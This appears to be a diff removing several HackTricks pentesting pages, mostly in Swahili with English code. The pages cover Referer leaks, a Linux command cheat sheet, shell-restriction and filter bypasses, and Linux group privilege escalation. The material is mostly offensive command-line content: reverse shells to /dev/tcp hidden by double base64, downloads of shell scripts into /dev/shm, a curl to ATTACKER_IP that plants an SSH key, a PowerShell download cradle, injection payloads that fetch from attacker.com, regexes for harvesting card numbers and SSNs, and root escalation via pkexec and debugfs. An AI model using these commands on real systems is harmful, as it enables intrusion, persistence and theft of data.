Ikiwa katika wakati fulani ndani ya ukurasa wa wavuti taarifa nyeti ziko kwenye vigezo vya ombi la GET, ikiwa ukurasa una viungo vya vyanzo vya nje au mshambuliaji anaweza kufanya/kupendekeza (social engineering) mtumiaji kutembelea URL inayodhibitiwa na mshambuliaji. Inaweza kuwa na uwezo wa kutoa taarifa nyeti ndani ya ombi la hivi karibuni la GET.
## Mitigation
Unaweza kufanya kivinjari kufuata **Referrer-policy** ambayo inaweza **kuepusha** taarifa nyeti kutumwa kwa programu nyingine za wavuti:
```
Referrer-Policy: no-referrer
Referrer-Policy: no-referrer-when-downgrade
Referrer-Policy: origin
Referrer-Policy: origin-when-cross-origin
Referrer-Policy: same-origin
Referrer-Policy: strict-origin
Referrer-Policy: strict-origin-when-cross-origin
Referrer-Policy: unsafe-url
```
## Counter-Mitigation
Unaweza kubadilisha sheria hii kwa kutumia tag ya meta ya HTML (mshambuliaji anahitaji kutumia na kuingiza HTML):
```html
<meta name="referrer" content="unsafe-url">
<img src="https://attacker.com">
```
## Ulinzi
Kamwe usiweke data nyeti ndani ya vigezo vya GET au njia katika URL.
{{#include ./banners/hacktricks-training.md}}

View File

@ -1,297 +0,0 @@
# Amri za Linux Zinazofaa
{{#include ../../banners/hacktricks-training.md}}
## Bash za Kawaida
```bash
#Exfiltration using Base64
base64 -w 0 file
#Get HexDump without new lines
xxd -p boot12.bin | tr -d '\n'
#Add public key to authorized keys
curl https://ATTACKER_IP/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys
#Echo without new line and Hex
echo -n -e
#Count
wc -l <file> #Lines
wc -c #Chars
#Sort
sort -nr #Sort by number and then reverse
cat file | sort | uniq #Sort and delete duplicates
#Replace in file
sed -i 's/OLD/NEW/g' path/file #Replace string inside a file
#Download in RAM
wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py
wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
#Files used by network processes
lsof #Open files belonging to any process
lsof -p 3 #Open files used by the process
lsof -i #Files used by networks processes
lsof -i 4 #Files used by network IPv4 processes
lsof -i 6 #Files used by network IPv6 processes
lsof -i 4 -a -p 1234 #List all open IPV4 network files in use by the process 1234
lsof +D /lib #Processes using files inside the indicated dir
lsof -i :80 #Files uses by networks processes
fuser -nv tcp 80
#Decompress
tar -xvzf /path/to/yourfile.tgz
tar -xvjf /path/to/yourfile.tbz
bzip2 -d /path/to/yourfile.bz2
tar jxf file.tar.bz2
gunzip /path/to/yourfile.gz
unzip file.zip
7z -x file.7z
sudo apt-get install xz-utils; unxz file.xz
#Add new user
useradd -p 'openssl passwd -1 <Password>' hacker
#Clipboard
xclip -sel c < cat file.txt
#HTTP servers
python -m SimpleHTTPServer 80
python3 -m http.server
ruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 80, :DocumentRoot => Dir.pwd).start"
php -S $ip:80
#Curl
#json data
curl --header "Content-Type: application/json" --request POST --data '{"password":"password", "username":"admin"}' http://host:3000/endpoint
#Auth via JWT
curl -X GET -H 'Authorization: Bearer <JWT>' http://host:3000/endpoint
#Send Email
sendEmail -t to@email.com -f from@email.com -s 192.168.8.131 -u Subject -a file.pdf #You will be prompted for the content
#DD copy hex bin file without first X (28) bytes
dd if=file.bin bs=28 skip=1 of=blob
#Mount .vhd files (virtual hard drive)
sudo apt-get install libguestfs-tools
guestmount --add NAME.vhd --inspector --ro /mnt/vhd #For read-only, create first /mnt/vhd
# ssh-keyscan, help to find if 2 ssh ports are from the same host comparing keys
ssh-keyscan 10.10.10.101
# Openssl
openssl s_client -connect 10.10.10.127:443 #Get the certificate from a server
openssl x509 -in ca.cert.pem -text #Read certificate
openssl genrsa -out newuser.key 2048 #Create new RSA2048 key
openssl req -new -key newuser.key -out newuser.csr #Generate certificate from a private key. Recommended to set the "Organizatoin Name"(Fortune) and the "Common Name" (newuser@fortune.htb)
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Create certificate
openssl x509 -req -in newuser.csr -CA intermediate.cert.pem -CAkey intermediate.key.pem -CAcreateserial -out newuser.pem -days 1024 -sha256 #Create a signed certificate
openssl pkcs12 -export -out newuser.pfx -inkey newuser.key -in newuser.pem #Create from the signed certificate the pkcs12 certificate format (firefox)
# If you only needs to create a client certificate from a Ca certificate and the CA key, you can do it using:
openssl pkcs12 -export -in ca.cert.pem -inkey ca.key.pem -out client.p12
# Decrypt ssh key
openssl rsa -in key.ssh.enc -out key.ssh
#Decrypt
openssl enc -aes256 -k <KEY> -d -in backup.tgz.enc -out b.tgz
#Count number of instructions executed by a program, need a host based linux (not working in VM)
perf stat -x, -e instructions:u "ls"
#Find trick for HTB, find files from 2018-12-12 to 2018-12-14
find / -newermt 2018-12-12 ! -newermt 2018-12-14 -type f -readable -not -path "/proc/*" -not -path "/sys/*" -ls 2>/dev/null
#Reconfigure timezone
sudo dpkg-reconfigure tzdata
#Search from which package is a binary
apt-file search /usr/bin/file #Needed: apt-get install apt-file
#Protobuf decode https://www.ezequiel.tech/2020/08/leaking-google-cloud-projects.html
echo "CIKUmMesGw==" | base64 -d | protoc --decode_raw
#Set not removable bit
sudo chattr +i file.txt
sudo chattr -i file.txt #Remove the bit so you can delete it
# List files inside zip
7z l file.zip
```
## Bash kwa Windows
```bash
#Base64 for Windows
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
#Exe compression
upx -9 nc.exe
#Exe2bat
wine exe2bat.exe nc.exe nc.txt
#Compile Windows python exploit to exe
pip install pyinstaller
wget -O exploit.py http://www.exploit-db.com/download/31853
python pyinstaller.py --onefile exploit.py
#Compile for windows
#sudo apt-get install gcc-mingw-w64-i686
i686-mingw32msvc-gcc -o executable useradd.c
```
## Greps
```bash
#Extract emails from file
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt
#Extract valid IP addresses
grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)" file.txt
#Extract passwords
grep -i "pwd\|passw" file.txt
#Extract users
grep -i "user\|invalid\|authentication\|login" file.txt
# Extract hashes
#Extract md5 hashes ({32}), sha1 ({40}), sha256({64}), sha512({128})
egrep -oE '(^|[^a-fA-F0-9])[a-fA-F0-9]{32}([^a-fA-F0-9]|$)' *.txt | egrep -o '[a-fA-F0-9]{32}' > md5-hashes.txt
#Extract valid MySQL-Old hashes
grep -e "[0-7][0-9a-f]{7}[0-7][0-9a-f]{7}" *.txt > mysql-old-hashes.txt
#Extract blowfish hashes
grep -e "$2a\$\08\$(.){75}" *.txt > blowfish-hashes.txt
#Extract Joomla hashes
egrep -o "([0-9a-zA-Z]{32}):(w{16,32})" *.txt > joomla.txt
#Extract VBulletin hashes
egrep -o "([0-9a-zA-Z]{32}):(S{3,32})" *.txt > vbulletin.txt
#Extraxt phpBB3-MD5
egrep -o '$H$S{31}' *.txt > phpBB3-md5.txt
#Extract Wordpress-MD5
egrep -o '$P$S{31}' *.txt > wordpress-md5.txt
#Extract Drupal 7
egrep -o '$S$S{52}' *.txt > drupal-7.txt
#Extract old Unix-md5
egrep -o '$1$w{8}S{22}' *.txt > md5-unix-old.txt
#Extract md5-apr1
egrep -o '$apr1$w{8}S{22}' *.txt > md5-apr1.txt
#Extract sha512crypt, SHA512(Unix)
egrep -o '$6$w{8}S{86}' *.txt > sha512crypt.txt
#Extract e-mails from text files
grep -E -o "\b[a-zA-Z0-9.#?$*_-]+@[a-zA-Z0-9.#?$*_-]+.[a-zA-Z0-9.-]+\b" *.txt > e-mails.txt
#Extract HTTP URLs from text files
grep http | grep -shoP 'http.*?[" >]' *.txt > http-urls.txt
#For extracting HTTPS, FTP and other URL format use
grep -E '(((https|ftp|gopher)|mailto)[.:][^ >" ]*|www.[-a-z0-9.]+)[^ .,; >">):]' *.txt > urls.txt
#Note: if grep returns "Binary file (standard input) matches" use the following approaches # tr '[\000-\011\013-\037177-377]' '.' < *.log | grep -E "Your_Regex" OR # cat -v *.log | egrep -o "Your_Regex"
#Extract Floating point numbers
grep -E -o "^[-+]?[0-9]*.?[0-9]+([eE][-+]?[0-9]+)?$" *.txt > floats.txt
# Extract credit card data
#Visa
grep -E -o "4[0-9]{3}[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > visa.txt
#MasterCard
grep -E -o "5[0-9]{3}[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > mastercard.txt
#American Express
grep -E -o "\b3[47][0-9]{13}\b" *.txt > american-express.txt
#Diners Club
grep -E -o "\b3(?:0[0-5]|[68][0-9])[0-9]{11}\b" *.txt > diners.txt
#Discover
grep -E -o "6011[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > discover.txt
#JCB
grep -E -o "\b(?:2131|1800|35d{3})d{11}\b" *.txt > jcb.txt
#AMEX
grep -E -o "3[47][0-9]{2}[ -]?[0-9]{6}[ -]?[0-9]{5}" *.txt > amex.txt
# Extract IDs
#Extract Social Security Number (SSN)
grep -E -o "[0-9]{3}[ -]?[0-9]{2}[ -]?[0-9]{4}" *.txt > ssn.txt
#Extract Indiana Driver License Number
grep -E -o "[0-9]{4}[ -]?[0-9]{2}[ -]?[0-9]{4}" *.txt > indiana-dln.txt
#Extract US Passport Cards
grep -E -o "C0[0-9]{7}" *.txt > us-pass-card.txt
#Extract US Passport Number
grep -E -o "[23][0-9]{8}" *.txt > us-pass-num.txt
#Extract US Phone Numberss
grep -Po 'd{3}[s-_]?d{3}[s-_]?d{4}' *.txt > us-phones.txt
#Extract ISBN Numbers
egrep -a -o "\bISBN(?:-1[03])?:? (?=[0-9X]{10}$|(?=(?:[0-9]+[- ]){3})[- 0-9X]{13}$|97[89][0-9]{10}$|(?=(?:[0-9]+[- ]){4})[- 0-9]{17}$)(?:97[89][- ]?)?[0-9]{1,5}[- ]?[0-9]+[- ]?[0-9]+[- ]?[0-9X]\b" *.txt > isbn.txt
```
## Pata
```bash
# Find SUID set files.
find / -perm /u=s -ls 2>/dev/null
# Find SGID set files.
find / -perm /g=s -ls 2>/dev/null
# Found Readable directory and sort by time. (depth = 4)
find / -type d -maxdepth 4 -readable -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r
# Found Writable directory and sort by time. (depth = 10)
find / -type d -maxdepth 10 -writable -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r
# Or Found Own by Current User and sort by time. (depth = 10)
find / -maxdepth 10 -user $(id -u) -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r
# Or Found Own by Current Group ID and Sort by time. (depth = 10)
find / -maxdepth 10 -group $(id -g) -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r
# Found Newer files and sort by time. (depth = 5)
find / -maxdepth 5 -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less
# Found Newer files only and sort by time. (depth = 5)
find / -maxdepth 5 -type f -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less
# Found Newer directory only and sort by time. (depth = 5)
find / -maxdepth 5 -type d -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less
```
## Msaada wa kutafuta Nmap
```bash
#Nmap scripts ((default or version) and smb))
nmap --script-help "(default or version) and *smb*"
locate -r '\.nse$' | xargs grep categories | grep 'default\|version\|safe' | grep smb
nmap --script-help "(default or version) and smb)"
```
## Bash
```bash
#All bytes inside a file (except 0x20 and 0x00)
for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done
```
## Iptables
```bash
#Delete curent rules and chains
iptables --flush
iptables --delete-chain
#allow loopback
iptables -A INPUT -i lo -j ACCEPT
iptables -A OUTPUT -o lo -j ACCEPT
#drop ICMP
iptables -A INPUT -p icmp -m icmp --icmp-type any -j DROP
iptables -A OUTPUT -p icmp -j DROP
#allow established connections
iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
#allow ssh, http, https, dns
iptables -A INPUT -s 10.10.10.10/24 -p tcp -m tcp --dport 22 -j ACCEPT
iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 80 -j ACCEPT
iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 443 -j ACCEPT
iptables -A INPUT -p udp -m udp --sport 53 -j ACCEPT
iptables -A INPUT -p tcp -m tcp --sport 53 -j ACCEPT
iptables -A OUTPUT -p udp -m udp --dport 53 -j ACCEPT
iptables -A OUTPUT -p tcp -m tcp --dport 53 -j ACCEPT
#default policies
iptables -P INPUT DROP
iptables -P FORWARD ACCEPT
iptables -P OUTPUT ACCEPT
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,319 +0,0 @@
# Bypass Linux Restrictions
{{#include ../../banners/hacktricks-training.md}}
## Common Limitations Bypasses
### Reverse Shell
```bash
# Double-Base64 is a great way to avoid bad characters like +, works 99% of the time
echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g'
# echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h
```
### Short Rev shell
```bash
#Trick from Dikline
#Get a rev shell with
(sh)0>/dev/tcp/10.10.10.10/443
#Then get the out of the rev shell executing inside of it:
exec >&0
```
### Pita Njia na Maneno Yaliyokatazwa
```bash
# Question mark binary substitution
/usr/bin/p?ng # /usr/bin/ping
nma? -p 80 localhost # /usr/bin/nmap -p 80 localhost
# Wildcard(*) binary substitution
/usr/bin/who*mi # /usr/bin/whoami
# Wildcard + local directory arguments
touch -- -la # -- stops processing options after the --
ls *
echo * #List current files and folders with echo and wildcard
# [chars]
/usr/bin/n[c] # /usr/bin/nc
# Quotes
'p'i'n'g # ping
"w"h"o"a"m"i # whoami
ech''o test # echo test
ech""o test # echo test
bas''e64 # base64
#Backslashes
\u\n\a\m\e \-\a # uname -a
/\b\i\n/////s\h
# $@
who$@ami #whoami
# Transformations (case, reverse, base64)
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi") #whoami -> Upper case to lower case
$(a="WhOaMi";printf %s "${a,,}") #whoami -> transformation (only bash)
$(rev<<<'imaohw') #whoami
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==) #base64
# Execution through $0
echo whoami|$0
# Uninitialized variables: A uninitialized variable equals to null (nothing)
cat$u /etc$u/passwd$u # Use the uninitialized variable without {} before any symbol
p${u}i${u}n${u}g # Equals to ping, use {} to put the uninitialized variables between valid characters
# Fake commands
p$(u)i$(u)n$(u)g # Equals to ping but 3 errors trying to execute "u" are shown
w`u`h`u`o`u`a`u`m`u`i # Equals to whoami but 5 errors trying to execute "u" are shown
# Concatenation of strings using history
!-1 # This will be substitute by the last command executed, and !-2 by the penultimate command
mi # This will throw an error
whoa # This will throw an error
!-1!-2 # This will execute whoami
```
### Pita maeneo yaliyokatazwa
```bash
# {form}
{cat,lol.txt} # cat lol.txt
{echo,test} # echo test
# IFS - Internal field separator, change " " for any other character ("]" in this case)
cat${IFS}/etc/passwd # cat /etc/passwd
cat$IFS/etc/passwd # cat /etc/passwd
# Put the command line in a variable and then execute it
IFS=];b=wget]10.10.14.21:53/lol]-P]/tmp;$b
IFS=];b=cat]/etc/passwd;$b # Using 2 ";"
IFS=,;`cat<<<cat,/etc/passwd` # Using cat twice
# Other way, just change each space for ${IFS}
echo${IFS}test
# Using hex format
X=$'cat\x20/etc/passwd'&&$X
# Using tabs
echo "ls\x09-l" | bash
# New lines
p\
i\
n\
g # These 4 lines will equal to ping
# Undefined variables and !
$u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined
uname!-1\-a # This equals to uname -a
```
### Pita nyuma ya backslash na slash
```bash
cat ${HOME:0:1}etc${HOME:0:1}passwd
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
```
### Bypass pipes
```bash
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)
```
### Pita kupitia na hex encoding
```bash
echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
abc=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64';cat abc
`echo $'cat\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'`
cat `xxd -r -p <<< 2f6574632f706173737764`
xxd -r -ps <(echo 2f6574632f706173737764)
cat `xxd -r -ps <(echo 2f6574632f706173737764)`
```
### Bypass IPs
```bash
# Decimal IPs
127.0.0.1 == 2130706433
```
### Uhamasishaji wa data kulingana na muda
```bash
time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
```
### Kupata herufi kutoka kwa Env Variables
```bash
echo ${LS_COLORS:10:1} #;
echo ${PATH:0:1} #/
```
### DNS data exfiltration
Unaweza kutumia **burpcollab** au [**pingb**](http://pingb.in) kwa mfano.
### Builtins
Iwapo huwezi kutekeleza kazi za nje na una ufikiaji tu wa **seti ndogo ya builtins kupata RCE**, kuna mbinu za kusaidia kufanya hivyo. Kawaida **hutoweza kutumia zote** za **builtins**, hivyo unapaswa **kujua chaguo zako zote** ili kujaribu kupita gerezani. Wazo kutoka [**devploit**](https://twitter.com/devploit).\
Kwanza kabisa angalia zote [**shell builtins**](https://www.gnu.org/software/bash/manual/html_node/Shell-Builtin-Commands.html)**.** Hapa kuna baadhi ya **mapendekezo**:
```bash
# Get list of builtins
declare builtins
# In these cases PATH won't be set, so you can try to set it
PATH="/bin" /bin/ls
export PATH="/bin"
declare PATH="/bin"
SHELL=/bin/bash
# Hex
$(echo -e "\x2f\x62\x69\x6e\x2f\x6c\x73")
$(echo -e "\x2f\x62\x69\x6e\x2f\x6c\x73")
# Input
read aaa; exec $aaa #Read more commands to execute and execute them
read aaa; eval $aaa
# Get "/" char using printf and env vars
printf %.1s "$PWD"
## Execute /bin/ls
$(printf %.1s "$PWD")bin$(printf %.1s "$PWD")ls
## To get several letters you can use a combination of printf and
declare
declare functions
declare historywords
# Read flag in current dir
source f*
flag.txt:1: command not found: CTF{asdasdasd}
# Read file with read
while read -r line; do echo $line; done < /etc/passwd
# Get env variables
declare
# Get history
history
declare history
declare historywords
# Disable special builtins chars so you can abuse them as scripts
[ #[: ']' expected
## Disable "[" as builtin and enable it as script
enable -n [
echo -e '#!/bin/bash\necho "hello!"' > /tmp/[
chmod +x [
export PATH=/tmp:$PATH
if [ "a" ]; then echo 1; fi # Will print hello!
```
### Uingiliaji wa amri za polyglot
```bash
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
```
### Pita regexes zinazoweza kutokea
```bash
# A regex that only allow letters and numbers might be vulnerable to new line characters
1%0a`curl http://attacker.com`
```
### Bashfuscator
```bash
# From https://github.com/Bashfuscator/Bashfuscator
./bashfuscator -c 'cat /etc/passwd'
```
### RCE na herufi 5
```bash
# From the Organge Tsai BabyFirst Revenge challenge: https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge
#Oragnge Tsai solution
## Step 1: generate `ls -t>g` to file "_" to be able to execute ls ordening names by cration date
http://host/?cmd=>ls\
http://host/?cmd=ls>_
http://host/?cmd=>\ \
http://host/?cmd=>-t\
http://host/?cmd=>\>g
http://host/?cmd=ls>>_
## Step2: generate `curl orange.tw|python` to file "g"
## by creating the necesary filenames and writting that content to file "g" executing the previous generated file
http://host/?cmd=>on
http://host/?cmd=>th\
http://host/?cmd=>py\
http://host/?cmd=>\|\
http://host/?cmd=>tw\
http://host/?cmd=>e.\
http://host/?cmd=>ng\
http://host/?cmd=>ra\
http://host/?cmd=>o\
http://host/?cmd=>\ \
http://host/?cmd=>rl\
http://host/?cmd=>cu\
http://host/?cmd=sh _
# Note that a "\" char is added at the end of each filename because "ls" will add a new line between filenames whenwritting to the file
## Finally execute the file "g"
http://host/?cmd=sh g
# Another solution from https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/
# Instead of writing scripts to a file, create an alphabetically ordered the command and execute it with "*"
https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/
## Execute tar command over a folder
http://52.199.204.34/?cmd=>tar
http://52.199.204.34/?cmd=>zcf
http://52.199.204.34/?cmd=>zzz
http://52.199.204.34/?cmd=*%20/h*
# Another curiosity if you can read files of the current folder
ln /f*
## If there is a file /flag.txt that will create a hard link
## to it in the current folder
```
### RCE na herufi 4
```bash
# In a similar fashion to the previous bypass this one just need 4 chars to execute commands
# it will follow the same principle of creating the command `ls -t>g` in a file
# and then generate the full command in filenames
# generate "g> ht- sl" to file "v"
'>dir'
'>sl'
'>g\>'
'>ht-'
'*>v'
# reverse file "v" to file "x", content "ls -th >g"
'>rev'
'*v>x'
# generate "curl orange.tw|python;"
'>\;\\'
'>on\\'
'>th\\'
'>py\\'
'>\|\\'
'>tw\\'
'>e.\\'
'>ng\\'
'>ra\\'
'>o\\'
'>\ \\'
'>rl\\'
'>cu\\'
# got shell
'sh x'
'sh g'
```
## Bypass ya Read-Only/Noexec/Distroless
Ikiwa uko ndani ya mfumo wa faili wenye **ulinzi wa read-only na noexec** au hata katika kontena lisilo na mfumo, bado kuna njia za **kutekeleza binaries za kiholela, hata shell!:**
{{#ref}}
../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/
{{#endref}}
## Bypass ya Chroot & Jails Nyingine
{{#ref}}
../privilege-escalation/escaping-from-limited-bash.md
{{#endref}}
## Marejeo & Zaidi
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits)
- [https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet](https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet)
- [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0)
- [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secjuice.com/web-application-firewall-waf-evasion/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,23 +0,0 @@
{{#include ../../banners/hacktricks-training.md}}
Mifano zaidi kuhusu yum inaweza kupatikana kwenye [gtfobins](https://gtfobins.github.io/gtfobins/yum/).
# Kutekeleza amri zisizo na mipaka kupitia RPM Packages
## Kuangalia Mazingira
Ili kutumia vector hii, mtumiaji lazima aweze kutekeleza amri za yum kama mtumiaji mwenye mamlaka ya juu, yaani, root.
### Mfano unaofanya kazi wa vector hii
Mfano unaofanya kazi wa exploit hii unaweza kupatikana katika chumba cha [daily bugle](https://tryhackme.com/room/dailybugle) kwenye [tryhackme](https://tryhackme.com).
## Kufunga RPM
Katika sehemu ifuatayo, nitashughulikia kufunga shell ya kurudi ndani ya RPM kwa kutumia [fpm](https://github.com/jordansissel/fpm).
Mfano hapa chini unaunda kifurushi kinachojumuisha trigger ya kabla ya kufunga na script isiyo na mipaka ambayo inaweza kufafanuliwa na mshambuliaji. Wakati wa kufunga, kifurushi hiki kitatekeleza amri isiyo na mipaka. Nimeweka mfano rahisi wa shell ya netcat ya kurudi kwa maonyesho lakini hii inaweza kubadilishwa kama inavyohitajika.
```text
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,140 +0,0 @@
{{#include ../../banners/hacktricks-training.md}}
# Sudo/Admin Groups
## **PE - Method 1**
**Wakati mwingine**, **kwa kawaida \(au kwa sababu programu fulani inahitaji hivyo\)** ndani ya faili **/etc/sudoers** unaweza kupata baadhi ya mistari hii:
```bash
# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL
# Allow members of group admin to execute any command
%admin ALL=(ALL:ALL) ALL
```
Hii inamaanisha kwamba **mtumiaji yeyote anaye belong kwa kundi la sudo au admin anaweza kutekeleza chochote kama sudo**.
Ikiwa hii ni hali, ili **kuwa root unaweza tu kutekeleza**:
```text
sudo su
```
## PE - Method 2
Pata binaries zote za suid na angalia kama kuna binary **Pkexec**:
```bash
find / -perm -4000 2>/dev/null
```
Ikiwa unapata kwamba binary pkexec ni binary ya SUID na unategemea sudo au admin, huenda unaweza kutekeleza binaries kama sudo ukitumia pkexec. Angalia maudhui ya:
```bash
cat /etc/polkit-1/localauthority.conf.d/*
```
Hapo utapata ni vikundi vipi vinavyoruhusiwa kutekeleza **pkexec** na **kwa default** katika baadhi ya linux vinaweza **kuonekana** baadhi ya vikundi **sudo au admin**.
Ili **kuwa root unaweza kutekeleza**:
```bash
pkexec "/bin/sh" #You will be prompted for your user password
```
Ikiwa unajaribu kutekeleza **pkexec** na unapata **makosa** haya:
```bash
polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized
```
**Sio kwa sababu huna ruhusa bali kwa sababu haujaunganishwa bila GUI**. Na kuna suluhisho kwa tatizo hili hapa: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Unahitaji **sehemu 2 tofauti za ssh**:
```bash:session1
echo $$ #Step1: Get current PID
pkexec "/bin/bash" #Step 3, execute pkexec
#Step 5, if correctly authenticate, you will have a root session
```
```bash:session2
pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
#Step 4, you will be asked in this session to authenticate to pkexec
```
# Wheel Group
**Wakati mwingine**, **kwa kawaida** ndani ya **/etc/sudoers** faili unaweza kupata mstari huu:
```text
%wheel ALL=(ALL:ALL) ALL
```
Hii inamaanisha kwamba **mtumiaji yeyote anaye belong kwa kundi la wheel anaweza kutekeleza chochote kama sudo**.
Ikiwa hii ni hali, ili **kuwa root unaweza tu kutekeleza**:
```text
sudo su
```
# Shadow Group
Watumiaji kutoka **group shadow** wanaweza **kusoma** faili ya **/etc/shadow**:
```text
-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow
```
Hivyo, soma faili na jaribu **kufungua baadhi ya hash**.
# Kundi la Disk
Hii haki ni karibu **sawa na ufikiaji wa root** kwani unaweza kufikia data zote ndani ya mashine.
Faili:`/dev/sd[a-z][1-9]`
```text
debugfs /dev/sda1
debugfs: cd /root
debugfs: ls
debugfs: cat /root/.ssh/id_rsa
debugfs: cat /etc/shadow
```
Kumbuka kwamba kutumia debugfs unaweza pia **kuandika faili**. Kwa mfano, ili nakala ya `/tmp/asd1.txt` kwenda `/tmp/asd2.txt` unaweza kufanya:
```bash
debugfs -w /dev/sda1
debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
```
Hata hivyo, ukijaribu **kuandika faili zinazomilikiwa na root** \(kama `/etc/shadow` au `/etc/passwd`\) utapata kosa la "**Permission denied**".
# Video Group
Kwa kutumia amri `w` unaweza kupata **nani aliyeingia kwenye mfumo** na itaonyesha matokeo kama ifuatavyo:
```bash
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
yossi tty1 22:16 5:13m 0.05s 0.04s -bash
moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
```
**tty1** inamaanisha kwamba mtumiaji **yossi amejiandikisha kimwili** kwenye terminal kwenye mashine.
Kikundi cha **video** kina ufikiaji wa kuangalia matokeo ya skrini. Kimsingi unaweza kuangalia skrini. Ili kufanya hivyo unahitaji **kuchukua picha ya sasa kwenye skrini** katika data safi na kupata azimio ambalo skrini inatumia. Data ya skrini inaweza kuhifadhiwa katika `/dev/fb0` na unaweza kupata azimio la skrini hii kwenye `/sys/class/graphics/fb0/virtual_size`
```bash
cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size
```
Ili **kufungua** **picha halisi** unaweza kutumia **GIMP**, chagua faili **`screen.raw`** na chagua kama aina ya faili **Data ya picha halisi**:
